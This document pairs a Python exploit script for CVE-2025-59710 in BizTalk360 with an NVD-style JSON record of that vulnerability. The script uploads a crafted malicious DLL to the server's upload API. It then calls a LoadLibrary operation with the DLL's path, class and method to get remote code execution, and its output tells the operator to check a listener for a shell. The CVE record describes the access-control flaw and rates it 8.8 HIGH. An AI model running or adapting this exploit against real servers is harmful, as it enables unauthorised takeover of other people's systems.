CVE-2025-59710

import requests # Target configuration target_host = "http://vulnerable-biztalk360-server" upload_endpoint = f"{target_host}/api/upload" load_dll_endpoint = f"{target_host}/api/Operations/LoadLibrary" # Path to the crafted malicious DLL malicious_dll_path = "./ExploitPayload.dll" def exploit(): try: # Step 1: Upload the malicious DLL to the server # Note: The actual upload mechanism might require specific parameters or headers print("[+] Uploading malicious DLL...") with open(malicious_dll_path, 'rb') as f: files = {'file': ('ExploitPayload.dll', f, 'application/octet-stream')} upload_response = requests.post(upload_endpoint, files=files) if upload_response.status_code != 200: print(f"[-] Upload failed: {upload_response.text}") return # Assuming the server saves the file to a predictable path # This path often needs to be guessed or disclosed via other vulnerabilities dll_path = "C:\\inetpub\\wwwroot\\BizTalk360\\Uploads\\ExploitPayload.dll" # Step 2: Trigger the DLL Loading vulnerability print(f"[+] Triggering DLL load from: {dll_path}") payload_data = { "assemblyPath": dll_path, "className": "ExploitClass", "methodName": "Execute" } exploit_response = requests.post(load_dll_endpoint, json=payload_data) if exploit_response.status_code == 200: print("[+] Exploit request sent successfully. Check your listener for shell.") else: print(f"[-] Exploit trigger failed: {exploit_response.text}") except Exception as e: print(f"[!] An error occurred: {str(e)}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-59710", "sourceIdentifier": "[email protected]", "published": "2026-04-03T15:16:04.500", "lastModified": "2026-04-09T21:16:07.350", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Biztalk360 before 11.5. Because of incorrect access control, any user is able to request the loading a DLL file. During the loading, a method is called. An attacker can craft a malicious DLL, upload it to the server, and use it to achieve remote code execution on the server."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kovai:biztalk360:*:*:*:*:*:*:*:*", "versionEndExcluding": "11.6.3963.2611", "matchCriteriaId": "71A18991-9CB5-4CF6-BE4C-1F8A8847AEE0"}]}]}], "references": [{"url": "https://www.synacktiv.com/en/advisories/remote-code-execution-from-any-domain-account-in-biztalk360", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}